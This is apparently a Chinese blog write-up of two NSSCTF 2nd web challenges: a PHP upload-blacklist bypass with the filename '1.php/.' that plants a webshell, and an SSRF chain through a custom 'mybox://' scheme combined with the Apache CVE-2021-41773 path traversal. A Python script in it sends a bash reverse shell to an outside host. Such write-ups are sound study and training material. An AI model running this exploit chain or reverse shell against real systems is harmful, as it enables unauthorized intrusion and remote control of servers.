[NSSCTF 2nd] web刷题记录

文章目录

    • php签到
    • MyBox
      • 非预期解
      • 预期解


php签到

源代码

 

简单分析一下,检查是否上传名为file的文件,然后对上传文件名url解码,然后使用 file_get_contents() 函数读取上传文件的内容。

关键点在于如何绕过waf,因为pathinfo会获取拓展名,然后黑名单检测。
这里我们的思路是利用pathinfo的特性,当传入的参数是1.php/.时 pathinfo 获取的文件的后缀名为NULL,故可以在文件名后面添加/.来实现绕过 (记得将文件名url编码)

我们首先上传文件,我的方法是修改前端代码




编辑html,将上述代码复制到

[NSSCTF 2nd] web刷题记录_第1张图片
即可得到上传文件功能
然后上传名为1.php的一句话木马,bp抓包修改后缀为1.php/.
(这里我再次测试1.php.,发现上传不成功)

[NSSCTF 2nd] web刷题记录_第2张图片上传成功后,访问./1.php/./1.php
[NSSCTF 2nd] web刷题记录_第3张图片得到flag

在这里插入图片描述

MyBox

考点:ssrf,Apache HTTP Server路径穿越漏洞,反弹shell

非预期解

直接读取环境变量

/?url=file:///proc/1/environ

[NSSCTF 2nd] web刷题记录_第4张图片

预期解

打开题目,发现存在参数url,成功读取用户信息
[NSSCTF 2nd] web刷题记录_第5张图片观察到题目为python环境,读取app.py
[NSSCTF 2nd] web刷题记录_第6张图片
源码如下

from flask import Flask, request, redirect
import requests, socket, struct
from urllib import parse
app = Flask(__name__)
 
@app.route('/')
def index():
    if not request.args.get('url'):
        return redirect('/?url=dosth')
    url = request.args.get('url')
    if url.startswith('file://'):
        with open(url[7:], 'r') as f:
            return f.read()
    elif url.startswith('http://localhost/'):
        return requests.get(url).text
    elif url.startswith('mybox://127.0.0.1:'):
        port, content = url[18:].split('/_', maxsplit=1)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect(('127.0.0.1', int(port)))
        s.send(parse.unquote(content).encode())
        res = b''
        while 1:
            data = s.recv(1024)
            if data:
                res += data
            else:
                break
        return res
    return ''
 
app.run('0.0.0.0', 827)
 

这里url参数对应不同功能

  • 如果 URL 参数中没有指定 ‘url’,则重定向到 ‘/?url=dosth’。
  • 如果 URL 以 ‘file://’ 开头,则根据文件路径读取文件内容并返回。
  • 如果 URL 以 ‘http://localhost/’ 开头,则使用 requests 库发送 GET 请求并返回响应的文本内容。
  • 如果 URL 以 ‘mybox://127.0.0.1:’ 开头,则将剩余部分分割为端口和内容,使用 socket 连接到本地主机(127.0.0.1)的指定端口,并发送解码后的内容,然后接收并返回响应的内容。

发现一个很明显的SSRF利用点,本来得用gopher://协议打,但是这里魔改过,得把字符串gopher://换成mybox://。
关键代码如下

elif url.startswith('mybox://127.0.0.1:'):
        port, content = url[18:].split('/_', maxsplit=1)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

先发个请求包看看,请求一下不存在的PHP文件,搜集一下信息

import urllib.parse
test =\
"""GET /xxx.php HTTP/1.1
Host: 127.0.0.1:80

"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result1 = 'gopher://127.0.0.1:80/'+'_'+urllib.parse.quote(new)
result2 = result1.replace('gopher','mybox')
print(result2)

可以看到返回404,但是告诉我们服务器版本
[NSSCTF 2nd] web刷题记录_第7张图片
这里存在Apache HTTP Server路径穿越漏洞(CVE-2021-41773)
修改下刚刚的exp

import urllib.parse
test =\
"""POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length:59

bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result1 = 'gopher://127.0.0.1:80/'+'_'+urllib.parse.quote(new)
result2 = result1.replace('gopher','mybox')
print(result2)

注:Content-Length:59可以bp抓包复制进去看看长度
[NSSCTF 2nd] web刷题记录_第8张图片上传,反弹shell成功
[NSSCTF 2nd] web刷题记录_第9张图片
得到flag
在这里插入图片描述

你可能感兴趣的:(刷题记录,前端,学习,web安全,node.js,php,python)